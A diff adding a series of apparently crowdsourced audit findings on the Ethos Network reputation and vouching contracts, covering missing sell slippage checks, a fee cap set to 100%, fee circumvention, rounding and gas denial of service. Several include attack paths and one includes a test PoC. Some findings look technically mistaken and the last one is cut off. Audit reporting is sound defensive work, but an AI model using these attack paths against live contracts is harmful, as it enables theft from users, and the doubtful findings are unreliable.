b/707.md @@ -0,0 +1,113 @@ +Wonderful Coconut Ape + +High + +# Missing Slippage Protection in Vote Selling + +### Summary + +The `sellVotes` function lacks slippage protection, unlike its buying counterpart. This omission may lead to a scenario where sellers are receiving significantly less value than expected when multiple sell orders are executed in the same block in a busy market . + +### Root Cause + +The `sellVotes` function does not implement slippage checks: + +```solidity:contracts/ReputationMarket.sol +function sellVotes( +uint256 profileId, +bool isPositive, +uint256 amount +) public whenNotPaused activeMarket(profileId) nonReentrant { +_checkMarketExists(profileId); + +// No slippage parameter or check +(uint256 votesSold, uint256 fundsReceived, ...) = _calculateSell( +markets[profileId], +profileId, +isPositive, +amount +); +// ... rest of the function +} +``` + +Compare this with the `buyVotes` function which has slippage protection: +```solidity:contracts/ReputationMarket.sol +function buyVotes( +uint256 profileId, +bool isPositive, +uint256 expectedVotes, +uint256 slippageBasisPoints +) public payable { +// ... +_checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); +// ... +} +``` + + + + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +Consider this scenario : +1. Alice submits a transaction to sell 1000 trust votes of a market +2. Bob also submits a transaction to sell trust 1000 votes of that market at the same time . +3. Bob's transaction gets executed first , reducing the price of trust votes . +4. Alice's transaction gets executed later on a lower price point . alice recieves much smaller amount than expected . + +Here's a sample simplified calculation . +```solidity +// Initial state: 10000 trust votes, basePrice = 1 ETH +// Initial state: +// - 10000 trust votes +// - 10000 distrust votes (total 20000 votes) +// - basePrice = 1 ETH + +// Price calculation for first vote (before Bob): +Initial price = (10000 * 1) / 20000 = 0.5 ETH + +// After Bob's 1000 vote sale: +// Trust votes = 9000 +// Total votes = 19000 +New price = (9000 * 1) / 19000 ≈ 0.474 ETH + +// Price continues to decrease as votes are sold +// For Alice's 1000 votes, prices will range from 0.474 ETH to 0.450 ETH +// (8000 * 1) / 18000 ≈ 0.450 ETH + +//average price for bob = 0.487 ( expected by alice ) +//// Average price ≈ 0.462 ETH( actual ) +expected return = 487 eth +Actual return for alice ≈ 1000 * 0.462 = 462 ETH +loss = 25 eth ( 5.133% loss ) //percentage will increase based on size of the order and market condition +``` +This scenario can naturally happen in a very busy market . If two sell order are in the same block , later executed one will recieve less than expected as there is no slippage check. + + + + + + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Add slippage protection to `sellvotes ` as ` buyVotes ` have . \ No newline at end of file diff --git a/708.md b/708.md new file mode 100644 index 0000000..c16e030 --- /dev/null +++ b/708.md @@ -0,0 +1,39 @@ +Square Cinnamon Wolverine + +Medium + +# MAX_TOTAL_FEES is hardcoded to 10,000 bps + +### Summary + +The MAX_TOTAL_FEES total fees is hardcoded to 10000 bps which implies that the user will be charged 100% of their funds for fees which which lead to loss for user + +This appears as a mistake by the protocol dev as it is stated in the [Readme](https://github.com/sherlock-audit/2024-11-ethos-network-ii-Smacaud/tree/main?tab=readme-ov-file#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths) that the MAX_TOTAL_FEES should be set at 10% which in this case should be 1000 bps + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Change from 10000 bps to 1000bps to truly reflect the intended 10% \ No newline at end of file diff --git a/709.md b/709.md new file mode 100644 index 0000000..73f2512 --- /dev/null +++ b/709.md @@ -0,0 +1,81 @@ +Fit Lavender Cobra + +Medium + +# Admins can set total fees to exceed 10% of `BASIS_POINT_SCALE` + +### Summary + +An incorrect value for `MAX_TOTAL_FEES`, allows cumulative fees to exceed the intended 10% of the `BASIS_POINT_SCALE`. This issue arises because `MAX_TOTAL_FEES` is set to `10000`, representing 100% instead of 10%. Admins can unintentionally (or maliciously) configure fee percentages that result in excessive fees being charged to users. + +From doc: +> Maximum total fees cannot exceed 10% + + +### Root Cause + +In `EthosVouch.sol`, the `MAX_TOTAL_FEES` constant is set to `10000` (see [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120)) instead of `1000`, which represents 10% of the `BASIS_POINT_SCALE`. This discrepancy allows cumulative fees (entry protocol fee, exit fee, donation fee, and vouchers pool fee) to reach 100% rather than the intended 10%. + +### Internal pre-conditions + +1. Admins set the following fee values (as an example, admin can set one fee to 100%): + - Entry protocol fee: `5000` basis points (50%). + - Donation fee: `2500` basis points (25%). + - Vouchers pool fee: `2500` basis points (25%). +2. The contract incorrectly calculates total fees using the oversized `MAX_TOTAL_FEES`. + +### External pre-conditions + +None. This issue arises solely from internal misconfiguration. + +### Attack Path + + 1. Admins call `setEntryProtocolFeeBasisPoints(5000)`. + 2. Admins call `setEntryDonationFeeBasisPoints(2500)`. + 3. Admins call `setEntryVouchersPoolFeeBasisPoints(2500)`. + 4. A user interacts with the contract, incurring a total fee of 100% instead of 10%. + +### Impact + +Users are charged excessive fees due to the miscalculated fee limit, resulting in financial loss. The discrepancy could also undermine trust in the protocol and harm its reputation. + +### PoC + +Here’s a test case that demonstrates the issue (use it as part of `ethos/packages/contracts/test/vouch/vouch.fees.test.ts` file): + +```ts + it('Maximum total fees exceed 10%', async () => { + const entryFee = 5000n; + const donationFee = 2500n; + const vouchIncentives = 2500n; + + await deployer.ethosVouch.contract + .connect(deployer.ADMIN) + .setEntryProtocolFeeBasisPoints(entryFee); + + await deployer.ethosVouch.contract + .connect(deployer.ADMIN) + .setEntryDonationFeeBasisPoints(donationFee); + + await deployer.ethosVouch.contract + .connect(deployer.ADMIN) + .setEntryVouchersPoolFeeBasisPoints(vouchIncentives); + + const amount = 100000000000000000n; // 0.1 ETH + const { vouchId } = await userA.vouch(userB, { paymentAmount: amount }); + const balance = await userA.getVouchBalance(vouchId); + + const feeTaken = amount - balance; + const feeAt10Percent = (amount * 1000n) / 10000n; + + expect(feeTaken).to.be.gt(feeAt10Percent); + }); +``` + +### Mitigation + +Change the value of MAX_TOTAL_FEES to 1000 to reflect 10% of the BASIS_POINT_SCALE. +```solidity +uint256 public constant MAX_TOTAL_FEES = 1000; // Represents 10% +uint256 public constant BASIS_POINT_SCALE = 10000; // Basis point scale +``` \ No newline at end of file diff --git a/710.md b/710.md new file mode 100644 index 0000000..c887055 --- /dev/null +++ b/710.md @@ -0,0 +1,50 @@ +Bald Lace Cyborg + +Medium + +# wrong logic is implemented in createMarketWithConfig(), which could revert the function + +### Summary + +whenever enforceCreationAllowList is true and creationAllowedProfileIds is allowed , then also it will result in reverting of the function + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L667C1-L685C4 + +/** + * @dev Disables the allow list enforcement + * Anyone may create a market for their own profile. + * @param value true if profile can create their market, false otherwise. + */ + function setAllowListEnforcement(bool value) public onlyAdmin whenNotPaused { + enforceCreationAllowList = value; + } + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +lets consider a scenario when enforce is set to true and user is allowed, + +which means createMarket config should succeed and fucntion should go further. But here actually, when it is true it will revert. +so it will prove the comment wrong + +### Impact + +improper functioning of create market, and not working as intended and mentioned in comments + +### PoC + +_No response_ + +### Mitigation + +logic in if function should be changed for enforceAllow \ No newline at end of file diff --git a/711.md b/711.md new file mode 100644 index 0000000..0e76f1c --- /dev/null +++ b/711.md @@ -0,0 +1,58 @@ +Recumbent Cerulean Fish + +Medium + +# EthosVouch.sol contract might run out of gas due following wrong pattern + +### Summary + +In EthosVouch.sol:slash() func we are copying storage mapping data to the storage array +```solidity + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; // + + for (uint256 i = 0; i < vouchIds.length; i++) {// + Vouch storage vouch = vouches[vouchIds[i]]; // + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } +``` +what we exactly does here, we accessing storage mapping = 2k of gas per unit, and writing the value to the storage array 20k gas per unit, after all of this we going throw for loop accessing it once again +This mappings we accessing might have up to 256 values, which we are coppying to array, it hugely consumes our gas. +Such pattern persist in EthosVouch.sol:slash(), EthosVouch.sol: _rewardPreviousVouchers(), EthosVouch.sol:_removeVouchFromArrays(), + +### Root Cause + +EthosVouch.sol:slash(), EthosVouch.sol: _rewardPreviousVouchers(), EthosVouch.sol:_removeVouchFromArrays() + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Run function above for ProfileIds which have big amount of vouchers + +### Impact + +Contract won't be able to execute functions above + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/712.md b/712.md new file mode 100644 index 0000000..31f487e --- /dev/null +++ b/712.md @@ -0,0 +1,99 @@ +Energetic Honeysuckle Leopard + +High + +# Insufficient Caller verification in EthosVouch::claimRewards() Allows Unauthorized Reward Claims by Compromised or deleted Addresses + +### Summary + +_No response_ + +### Root Cause + +The claimRewards function in the EthosVouch contract is intended to allow users to claim rewards associated with their profile. + +```solidity + + function claimRewards() external whenNotPaused nonReentrant { + (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusByAddress(msg.sender);//@check - does not check for compromised address + + // Only check that this is a real profile (not mock) and was verified at some point + if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); + } + + uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Rewards claim failed"); + + emit WithdrawnFromRewards(callerProfileId, amount); + } +``` + +However here , the function currently relies on the profileStatusByAddress method from the EthosProfile contract to validate the caller. + +```solidity +/** + * @dev Returns the status of a profile by its associated address. + * @notice This does not check if the address has been removed from the profile. + * It will return the profileId even if the address has been removed. + * @param addressStr The address to check. + * @return verified Whether the profile is verified. + * @return archived Whether the profile is archived. + * @return mock Whether the profile is a mock profile. + * @return profileId The ID of the profile associated with the address. + */ + function profileStatusByAddress( + address addressStr + ) public view returns (bool verified, bool archived, bool mock, uint256 profileId) { + profileId = profileIdByAddress[addressStr]; + (verified, archived, mock) = profileStatusById(profileId); + } +``` +as mentioned in the comments this function does not check if the address has been removed from the profile, It will return the profileId even if the address has been removed. +```solidity + function claimRewards() external whenNotPaused nonReentrant { + ............... + .............. + // Only check that this is a real profile (not mock) and was verified at some point + if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L667 + +now in claimrewards() function it checks if the profile is verified and not a mock but does not verify if the address is compromised or has been removed from the profile + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +- **Compromised Address**: An address associated with a profile is compromised and it has been removed in the ehtosProfile. +- **Attempt to Claim Rewards**: The compromised address calls the claimRewards function. +- **Insufficient Validation**: The function checks if the profile is verified and not a mock but does not check if the address is compromised. +- **Rewards Claimed**: The compromised address successfully claims the rewards, potentially leading to unauthorized access to funds. + +### Impact + +compromised address claims all the rewards + +### PoC + +_No response_ + +### Mitigation + +verify the caller is not a compromised or removed address \ No newline at end of file diff --git a/713.md b/713.md new file mode 100644 index 0000000..abca24f --- /dev/null +++ b/713.md @@ -0,0 +1,47 @@ +Best Carbon Eagle + +High + +# `_createMarket` could coincide with `removeMarketConfig` causing user to create market with a different config type + +## Vulnerability Details + +In `ReputationMarket.sol`, + +`removeMarketConfig` removes a market config type template that the user can create. If the type it is trying to remove isnt the last element, it will shift the last element to the index it wants to remove, then pop the last element. + +**Importantly, it causes the indexes of config types to change.** + +Creating a market with an allowed user through `createMarketWithConfig` requires the whitelisted user to pass in just the index of the market config that needs to be created. + +Hence, when these 2 functions are called around the same time, a user will end up creating a market config type that is different than intended and it will be **permanent**. + +## Proof Of Concept + +Suppose current market types are: +1. `A` (initial liquidity = 3 ether) +2. `B` (initial liquidity = 3 ether) +3. `C` (initial liquidity = 2 ether) + +If `removeMarketConfig(0)` and `createMarketWithConfig(0)` are called around the same time: + +`removeMarketConfig(0)` will put `C` at index 0. + +Then `createMarketWithConfig(0)` will end up creating a market with `C` instead of reverting. (The extra 1 ether of msg.value provided (since 3-2=1) will just be refunded to the user via `_sendEth`) + +Instead, the function should have reverted as if A was not available, the user of the profile may want to choose config type `B` instead. + +## Impact +Since votes[TRUST] and votes[DISTRUST] will be set to the initial votes that is >= 1. And it is impossible to sell to < 1. + +votes will then forever be >= 1 for that profile and it becomes impossible to call create market with a different market config type for that profile ever again, (since it will js revert with market exists) hence this is **permanent**. + +It will eventually cause fund loss for the user as market config types are meant to be chosen by the user to match the volatility that the user predicts their own market will be. + +If this bug ends up force creating a different market config for the user that is less suitable for their expected volatility, then eventually voters who participate will have less than ideal fund profits/loss and the owner of the profile has to **invest more money** to stabilise and improve reputation. + +## Code snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L281-L293 + +## Recommendation +When creating market, other than just passing in the index of the market config, add the actual market config as the parameter itself so that it will revert in this case. \ No newline at end of file diff --git a/714.md b/714.md new file mode 100644 index 0000000..4f5d9e2 --- /dev/null +++ b/714.md @@ -0,0 +1,49 @@ +Low Tawny Fox + +Medium + +# A user can pay less in fees by vouching initially with a smaller amount and then using the `EthosVouch::increaseVouch` function to add the remaining vouch value + +### Summary + +A vulnerability in the `EthosVouch` fee mechanism allows users to reduce fees when vouching for a subject. By splitting their vouching process into multiple smaller transactions, users can partially reclaim `vouchersPoolFee`, resulting in significantly lower total fees compared to a single large transaction. This exploit undermines the intended fee structure and results in financial losses for other previous vouchers. + +### Root Cause + +The `vouchersPoolFee` is redistributed to existing vouchers. By vouching with a smaller value initially, a user becomes an existing voucher and subsequently benefits from `vouchersPoolFee` in subsequent [EthosVouch::increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) calls. The logic does not distinguish between fees for new vouches and subsequent increases, enabling fee circumvention. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. There is at least one other existing voucher to receive part of the `vouchersPoolFee`. + +### Attack Path + +1. A user initially vouches with a smaller value (e.g., 10 ETH instead of the intended 100 ETH). +2. The user becomes an existing voucher and receives part of the `vouchersPoolFee`. +3. The user repeatedly calls `increaseVouch` in smaller increments (e.g., 10 ETH per transaction) to reach the intended total vouch value. +4. In each `increaseVouch` call, the user reclaims part of the `vouchersPoolFee`, significantly reducing the total fees paid. + +### Impact + +1. Existing vouchers lose part of the intended fee revenue. In the provided example, the user saves approximately 2.54 ETH in fees for a 100 ETH vouch. + +### PoC + +Example: User A wants to vouch with 100 ETH for a subject S. User B has already vouched with 1 ETH for that subject. The fees are defined as follows: +- entryProtocolFeeBasisPoints = 100 (1%) +- entryDonationFeeBasisPoints = 200 (2%) +- entryVouchersPoolFeeBasisPoints = 300 (3%) + +If User A simply calls the `EthosVouch::vouchByProfileId` function with a `msg.value` of 100 ETH, they will pay approximately 0.99 ETH to the protocol, 1.96 ETH to the subject S, and 2.91 ETH to User B (the only previous voucher). This means they will pay a total of around 5.86 ETH in fees, and their vouch balance will be 94.14 ETH. + +However, if User A wants to pay fewer fees, they can call the `EthosVouch::vouchByProfileId` function with a `msg.value` of 10 ETH and then call the `EthosVouch::increaseVouch` function nine more times, each with 10 ETH. By doing this, User A becomes a previous voucher and receives part of the `vouchersPoolFee`. In the end, their vouch balance will be approximately 96.68 ETH, meaning they paid 2.54 ETH less in fees (5.86 ETH - 3.32 ETH) compared to the first case. + +Note: On-chain fees are excluded from the calculations, but they are much lower than the protocol fees. + +### Mitigation + +Exclude the vouching user from receiving `vouchersPoolFee` during their own transactions \ No newline at end of file diff --git a/715.md b/715.md new file mode 100644 index 0000000..b6ae7b3 --- /dev/null +++ b/715.md @@ -0,0 +1,39 @@ +Bald Lace Cyborg + +Medium + +# there is no slippage control in function sell vote () + +### Summary + +In Reputation.sol, there is no slippage control for the amount of eth recieved back, after selling particular amount of votes + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495C4-L529C15 + +no slppage check is there in sell votes. Like there is in buy votes, in sell votes there shoudl be sliippage check too + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +User can end up getting less eth , than he would expecting by selling tokens + +### PoC + +_No response_ + +### Mitigation + +amount of eth recieved should be check with the another variable which should be taken as a parameter. \ No newline at end of file diff --git a/716.md b/716.md new file mode 100644 index 0000000..69830d6 --- /dev/null +++ b/716.md @@ -0,0 +1,68 @@ +Damp Shamrock Viper + +Medium + +# selling amount of the last vote will always be zero + +### Summary + +The `_calcVotePrice` calculates price for a vote by the formula +`(market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L922 + +However when the last vote is calculated, the price should be 1*base_price/(1 + oppositeTrust_votes) +this is not the case because of a calculation order error, thus price ends up being 0. + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026-L1038 + +The root cause is that the initial `_calcVotePrice` is not taken into account for `fundsReceived `. +The market.votes for the TRUST or DISTRUST value is subtracted, which would make the formula for price 0, only then the `fundsReceived` is updated. + +The order of calculations completely neglect the initial price of the vote. +Thus the seller receives 0 amount when its the last vote is sold. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +```diff + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { ++ fundsReceived += votePrice; + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +- fundsReceived += votePrice; + votesSold++; + //@audit the first votePrice isn't taken into account, so when market.votes[isPosivitive ? TRUST : DISTRUST] is zero (last vote) + // thhe vote price will be zero. + } +``` \ No newline at end of file diff --git a/717.md b/717.md new file mode 100644 index 0000000..d136ba7 --- /dev/null +++ b/717.md @@ -0,0 +1,72 @@ +Best Carbon Eagle + +High + +# `DEFAULT_PRICE` should be 0.001 ether + +## Summary + +In ReputationMarket.sol, DEFAULT_PRICE is set to 0.01 ether however if you look at the code in initialize, it is meant to be 0.001 ether instead. + +```solidity +function initialize( + address owner, + address admin, + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr +) external initializer { + __accessControl_init( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr + ); + __UUPSUpgradeable_init(); + enforceCreationAllowList = true; + // Default market configurations: + + // Default tier + // - Minimum viable liquidity for small/new markets + // - 0.002 ETH initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE, + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); + + // Deluxe tier + // - Moderate liquidity for established profiles + // - 0.05 ETH initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); + + // Premium tier + // - High liquidity for stable price discovery + // - 0.1 ETH initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 100 * DEFAULT_PRICE, + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); +} +``` + +## Impact +Wrong default price variable and it is permanent since there is no function to reset it. + +## Code snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L79 diff --git a/718.md b/718.md new file mode 100644 index 0000000..159affd --- /dev/null +++ b/718.md @@ -0,0 +1,42 @@ +Icy Cyan Terrier + +Medium + +# Sandwich attack to ReputationMarket.sol::sellVotes() causes user sellVotes to lower price than expected + +### Summary + +The missing of slipage tolerence check in `ethos/packages/contracts/contracts/ReputationMarket.sol::sellVotes` will cause user votes selling transaction been `sandwich` as an attacker fruntrun and backrun their transactions + +### Root Cause + +In `ReputationMarket.sol#L495-L534` `sellVotes` function does not implement any slipage tolerence check +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Internal pre-conditions + +1. Attacker place an sellVotes transaction before the victime causing the selling price to go down +2. The victime sell his votes to a lower price than expected +3. The atacter then buy back the his votes + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact +Users sell vote to lower price than expected + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Implement the `_checkSlippageLimit()` to the `sellVotes()` function too like it was done to the `buyVotes()` function to allow user to be able to set they slipage tolerence +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L461 \ No newline at end of file diff --git a/719.md b/719.md new file mode 100644 index 0000000..e20ac60 --- /dev/null +++ b/719.md @@ -0,0 +1,103 @@ +Energetic Honeysuckle Leopard + +High + +# Incorrect Initial Liquidity Calculation in ReputationMarket::initialize() + +### Summary + +_No response_ + +### Root Cause + +The **initialize** function in the ReputationMarket contract defines three market tiers with specific initial liquidity values. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L201C3-L254C4 + +```solidity + + function initialize( + address owner, + address admin, + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr + ) external initializer { + __accessControl_init( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr + ); + __UUPSUpgradeable_init(); + enforceCreationAllowList = true; + // Default market configurations: + + // Default tier + // - Minimum viable liquidity for small/new markets + // - 0.002 ETH initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE,//@audit-here it sets as 2*0.01=0.02eth and not 0.002eth as mentioned above + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); + + // Deluxe tier + // - Moderate liquidity for established profiles + // - 0.05 ETH initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE,//@check - here it is declaring 50*0.01 = 0.5eth instead of 0.05 as mentioned above + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); + + // Premium tier + // - High liquidity for stable price discovery + // - 0.1 ETH initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 100 * DEFAULT_PRICE,//@check - here it is defining as 1eth instead of 0.1eth + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); + } +``` +However, the actual implementation sets the initial liquidity to values that are significantly higher than those mentioned in the comments. This discrepancy affects all tiers: + +- **Default Tier**: Comment states 0.002 ETH, but implementation sets it to 0.02 ETH. +- **Deluxe Tier**: Comment states 0.05 ETH, but implementation sets it to 0.5 ETH. +- **Premium Tier**: Comment states 0.1 ETH, but implementation sets it to 1 ETH. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users need to provide more ETH than expected to create a market, potentially limiting participation. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/720.md b/720.md new file mode 100644 index 0000000..0bbf91d --- /dev/null +++ b/720.md @@ -0,0 +1,58 @@ +Dapper Chartreuse Wolf + +High + +# There is `loss of funds` in `EthosBouch::calcFee` + +### Impact + +Calculating Fee as `Floor` makes huge funds loss for the protocol. [EthosVouch::calcFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) + +Because if the calculation becomes `1.5` then it will be floor to `1` +If we consider this for a lot of calls then it makes a huge impact on the protocol. + +### PoC +Here is the code +[EthosVouch::calcFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) +```solidity +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); <@ + } +``` + +### Mitigation + +Make Floor to Ceil +```diff +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ +- return +- total - +- (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + ++ return ++ total - ++ (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Ceil)); + } +``` \ No newline at end of file diff --git a/721.md b/721.md new file mode 100644 index 0000000..07b89f6 --- /dev/null +++ b/721.md @@ -0,0 +1,72 @@ +Deep Ruby Troll + +Medium + +# Re-Updating Market Votes + +### Summary + +This issue is seen in both ```buyVotes``` and ```sellVotes``` once it updates the ```market.votes``` inside ```_calculateBuy``` then it updates it again in ```_calculateBuy``` + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L534 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983 + + +Exact Line of code where the re update occurs: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L467 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L975 + + +Basically we update it once inside ```_calculateBuy``` by getting exact ```market``` by getting the exact profileId by calling the ```_calculateBuy``` inside the ```buyVotes``` and ```sellVotes``` functions + +```solidity +( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +``` + +and when we update the ```market``` inside ```_calculateBuy``` + +We re-Update it in both ```buyVotes``` and ```sellVotes``` + +```solidity +markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +causes re Updating and x2 of the actual amount of ```votesBought``` or ```votesSold``` + +```solidity +markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; +``` + +### PoC + +_No response_ + +### Mitigation + +Update it just once after ```buyVouches``` or after ```sellVouches``` \ No newline at end of file diff --git a/722.md b/722.md new file mode 100644 index 0000000..101f64d --- /dev/null +++ b/722.md @@ -0,0 +1,45 @@ +Lively Banana Gazelle + +Medium + +# Gas Limit Issues in _rewardPreviousVouchers() leads dos + +### Summary + +The function iterates through an array of vouchIds. If this array becomes very large, the loop could consume excessive gas and exceed the block gas limit.https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol + + +### Root Cause + +- Unbounded Iteration: The loop iteates up to `totalVouches`, which is the length of the vouchIds array. There's no inherent limit on how many vouches a profile can receive, so this array can grow very large. + +- Gas Cost per Iteration: Each iteration of the loop performs several storage reads (accessing vouches, vouch.archived, vouch.balance), calculations (amount.mulDiv), and storage writes vouch.balance += reward + +- Cumulative Gas Cost - vouchIds array grows cumulative gas cost of the loop increases proportionally. If the total gas cost exceeds the block gas limit, the transaction will fai preventing the distribution of rewards. + +- Denial-of-Service (DoS) Vector: A malicious actor could create a large number of vouches for a specific profile, making the _rewardPreviousVouchers() function prohibitively expensive to call. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No 